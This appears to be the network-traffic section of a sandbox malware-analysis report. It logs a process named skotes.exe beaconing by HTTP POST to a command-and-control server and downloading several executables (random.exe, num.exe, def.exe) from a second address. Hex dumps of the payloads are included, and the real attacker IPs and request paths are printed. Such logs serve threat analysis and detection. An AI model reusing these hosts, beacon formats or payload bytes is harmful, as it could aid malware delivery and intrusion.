Nov 1, 2024 10:57:24.967818022 CET	1236	IN	Data Raw: 18 49 c9 2f 3c b1 2b 02 5c 72 af 96 e4 d6 eb 36 1c 05 21 65 19 75 77 57 ca f1 19 96 cc b1 61 cb 89 cf eb c6 5d a8 47 8d 49 88 df 70 5c 91 3b 84 02 2d 1c 51 30 8e fb 8e 10 91 b3 82 88 a2 e1 ca 6f a8 8b 8e 2c ad 20 e8 f9 88 89 72 55 d9 83 7f 44 ad Data Ascii: I/<+\r6!euwWa]GIp\;-Q0o, rUD\|(9rn.fKXFja{k2m\|W:{p`>\<Y+G2c$a_f&m>$0f8"J
Nov 1, 2024 10:57:24.967828989 CET	224	IN	Data Raw: 01 23 13 97 98 b1 a8 cb 01 4e 6f ae a0 a8 81 d2 fc bf a8 a2 70 a8 7a be 1b a8 4b 9c 39 a5 13 ae 63 90 3b 8f 08 81 b2 a6 9d cd c6 12 52 a1 7f 9e 24 10 1a b1 f4 59 80 78 01 69 33 5a 88 9b df d2 fd b2 26 84 f9 99 d3 6a ed 9c 62 2e 6f 9f 66 0e ed a8 Data Ascii: #NopzK9c;R$Yxi3Z&jb.of3ek`jJa6aI(QWy9qe2y(g+?w2eo:F'JO{o*J+Tq-yX26
Nov 1, 2024 10:57:24.972755909 CET	1236	IN	Data Raw: 57 99 81 7f fc a0 ac 82 a4 6d c9 9a 82 ee 3e 7f 50 8f b5 9f 7c 38 23 93 9e ad 1a 7a 02 d4 7a be 63 7f c3 66 5c a8 b3 8c 44 88 17 a0 94 91 a3 7f 22 11 20 bd 77 15 61 68 b0 ad 1a 1e 02 a7 7a 82 2e b7 8b 26 f9 6f eb 8d e1 b1 bf 79 3c 59 21 be 0c b7 Data Ascii: Wm>P\|8#zzcf\D" wahz.&oy<Y!(:tyurd/Fuc.$\s22jUl\Rv{j2aU^W3r2po7&I4wQ2"=PAk:ki

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49939	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:28.894344091 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003145001&unit=246122658369
Nov 1, 2024 10:57:29.777899027 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49945	185.215.113.16	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:29.785095930 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 10:57:30.691097975 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:30 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Fri, 01 Nov 2024 09:00:24 GMT Connection: keep-alive ETag: "672498a8-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a0 98 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL$g"Xw@`K@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 1, 2024 10:57:30.691121101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 1, 2024 10:57:30.691135883 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 1, 2024 10:57:30.691190004 CET	336	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 1, 2024 10:57:30.691204071 CET	1236	IN	Data Raw: 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 Data Ascii: YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jA
Nov 1, 2024 10:57:30.691215992 CET	1236	IN	Data Raw: cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 Data Ascii: xMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u
Nov 1, 2024 10:57:30.691231966 CET	1236	IN	Data Raw: c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 Data Ascii: {lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]
Nov 1, 2024 10:57:30.691248894 CET	1236	IN	Data Raw: 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff Data Ascii: }}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFML
Nov 1, 2024 10:57:30.691260099 CET	848	IN	Data Raw: 00 8b d6 8b ce e8 8a ff ff ff ff 75 0c 51 56 8b cf e8 71 07 00 00 59 50 56 8b cf e8 77 16 00 00 5f 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 Data Ascii: uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME
Nov 1, 2024 10:57:30.691270113 CET	1236	IN	Data Raw: 10 8b 4d 08 e8 06 00 00 00 59 59 5d c2 10 00 55 8b ec 83 e4 f8 51 a1 8c 13 4d 00 53 56 8b f1 57 8b fa 3b f0 75 5e 83 ff 11 76 5f 8b c7 2d 82 00 00 00 0f 84 cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 Data Ascii: MYY]UQMSVW;u^v_--H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIM
Nov 1, 2024 10:57:30.696130037 CET	1236	IN	Data Raw: 53 e8 a0 c7 01 00 59 8b 4d 08 8b 09 89 08 8b 56 08 8b 4e 04 89 04 91 ff 46 08 5e 5b 5d c2 04 00 8b c1 eb b6 83 0d a0 19 4d 00 ff b9 ac 19 4d 00 83 0d a4 19 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 Data Ascii: SYMVNF^[]MMMSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49971	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:33.895428896 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003146001&unit=246122658369
Nov 1, 2024 10:57:34.817853928 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49975	185.215.113.16	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:34.844909906 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 10:57:35.746084929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:35 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Nov 1, 2024 10:57:35.746098042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Nov 1, 2024 10:57:35.746114969 CET	224	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M
Nov 1, 2024 10:57:35.746124029 CET	1236	IN	Data Raw: 30 e8 8d 95 01 00 8b 4d fc e8 e5 00 00 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 0d 01 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 fb 94 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 e9 94 01 00 8b 45 08 83 c0 48 50 8b Data Ascii: 0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|ME]
Nov 1, 2024 10:57:35.746143103 CET	1236	IN	Data Raw: c8 e8 69 92 01 00 8b c8 e8 d2 91 01 00 8b c8 e8 5b 92 01 00 8b c8 e8 54 92 01 00 8b c8 e8 4d 92 01 00 8b c8 e8 b6 91 01 00 50 8d 8d 94 fe ff ff e8 2a 91 01 00 8d 8d 6c fd ff ff e8 7f 90 01 00 8d 8d 78 fd ff ff e8 74 90 01 00 8d 8d 84 fd ff ff e8 Data Ascii: i[TMP*lxti^SH=R0Ph\|WB<QURHPhVBTQUR`PPi
Nov 1, 2024 10:57:35.746153116 CET	324	IN	Data Raw: 45 fc 6b c0 2c 03 85 90 00 00 00 83 ec 0c 8b cc 50 e8 75 8b 01 00 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8b 44 0a 0c 50 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8d 44 0a 10 83 ec 0c 8b cc 50 e8 49 8b 01 00 e8 a4 f7 ff ff 81 c4 b4 00 00 00 e9 58 ff ff ff Data Ascii: Ek,PuMk,DPMk,DPIXURM]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEH
Nov 1, 2024 10:57:35.746164083 CET	1236	IN	Data Raw: 89 45 f8 8b 4d 08 8b 51 04 2b 55 0c c1 e2 0c 03 55 f8 89 55 f8 8b 45 f8 89 45 fc 8b 4d 08 8b 51 04 2b 55 0c 8b 45 08 89 50 04 8b 4d fc 8b 55 0c 89 51 04 8b 45 fc 8b 4d 08 89 48 0c 8b 55 fc 8b 45 08 8b 48 08 89 4a 08 8b 55 08 83 7a 08 00 74 0c 8b Data Ascii: EMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQEMHUEE]Usm;EuMsmUBMAUBEMQPExtMQEBE]UE]UE]U=sm
Nov 1, 2024 10:57:35.746174097 CET	1236	IN	Data Raw: 00 83 c4 0c a3 b0 6c 6d 00 6a 0c 68 a8 1f 42 00 68 b8 1f 42 00 e8 b9 20 00 00 83 c4 0c a3 50 6f 6d 00 6a 09 68 c8 1f 42 00 68 d4 1f 42 00 e8 a0 20 00 00 83 c4 0c a3 7c 6b 6d 00 6a 0a 68 e0 1f 42 00 68 ec 1f 42 00 e8 87 20 00 00 83 c4 0c a3 04 6b Data Ascii: lmjhBhB PomjhBhB \|kmjhBhB kmjhBh Bn kmjh Bh BU (mmjh( Bh8 B< nmjhH BhT B# $nmjh` Bhp B kmjh Bh Bmmjh Bh
Nov 1, 2024 10:57:35.746184111 CET	1236	IN	Data Raw: 6d 00 6a 12 68 90 24 42 00 68 a4 24 42 00 e8 ec 1b 00 00 83 c4 0c a3 f8 6e 6d 00 6a 0b 68 b8 24 42 00 68 c4 24 42 00 e8 d3 1b 00 00 83 c4 0c a3 b8 6a 6d 00 6a 0d 68 d0 24 42 00 68 e0 24 42 00 e8 ba 1b 00 00 83 c4 0c a3 dc 6e 6d 00 6a 09 68 f0 24 Data Ascii: mjh$Bh$Bnmjh$Bh$Bjmjh$Bh$Bnmjh$Bh$B<kmjh%Bh%BLlmjh %Bh8%BoomjhP%Bh\%BVkmjhh%Bhx%B=nmjh%Bh%B$(pmjh%Bh%B
Nov 1, 2024 10:57:35.746195078 CET	1236	IN	Data Raw: 2b 42 00 e8 23 17 00 00 83 c4 0c a3 e8 6f 6d 00 6a 10 68 10 2b 42 00 68 24 2b 42 00 e8 0a 17 00 00 83 c4 0c a3 2c 6e 6d 00 6a 1a 68 38 2b 42 00 68 54 2b 42 00 e8 f1 16 00 00 83 c4 0c a3 64 6e 6d 00 6a 1c 68 70 2b 42 00 68 90 2b 42 00 e8 d8 16 00 Data Ascii: +B#omjh+Bh$+B,nmjh8+BhT+Bdnmjhp+Bh+B`kmjh+Bh+Bkmjh+Bh+Bmmjh+Bh,Bomjh ,Bh<,BtTnmjhX,Bhh,B[@mmjhx,Bh,BBomj
Nov 1, 2024 10:57:35.751229048 CET	1236	IN	Data Raw: a3 98 6e 6d 00 6a 13 68 f8 31 42 00 68 0c 32 42 00 e8 41 12 00 00 83 c4 0c a3 9c 6f 6d 00 6a 0d 68 20 32 42 00 68 30 32 42 00 e8 28 12 00 00 83 c4 0c a3 ec 6a 6d 00 6a 04 68 40 32 42 00 68 48 32 42 00 e8 0f 12 00 00 83 c4 0c a3 b4 6a 6d 00 6a 17 Data Ascii: nmjh1Bh2BAomjh 2Bh02B(jmjh@2BhH2BjmjhP2Bhh2Bxomjh2Bh2Blmjh2Bh2B omjh2Bh2Bkmjh2Bh2Bkmjh3Bh3By pmjh03Bh@3B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50016	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:39.544154882 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003147001&unit=246122658369
Nov 1, 2024 10:57:40.458070040 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50043	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:42.146528959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:57:43.055618048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50057	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:45.398195982 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:57:46.292098045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50074	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:48.002764940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:57:48.899353027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	50075	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:48.103627920 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 10:57:49.015237093 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:48 GMT Content-Type: application/octet-stream Content-Length: 2712064 Last-Modified: Fri, 01 Nov 2024 09:00:50 GMT Connection: keep-alive ETag: "672498c2-296200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 29 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2a 00 00 04 00 00 c2 10 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$) `@ **`Ui` @ @.rsrc`2@.idata 8@mvtnwoxp )):@zodzljtk )<)@.taggant@)"@)@
Nov 1, 2024 10:57:49.015266895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.015276909 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.015328884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.015341043 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.015480995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
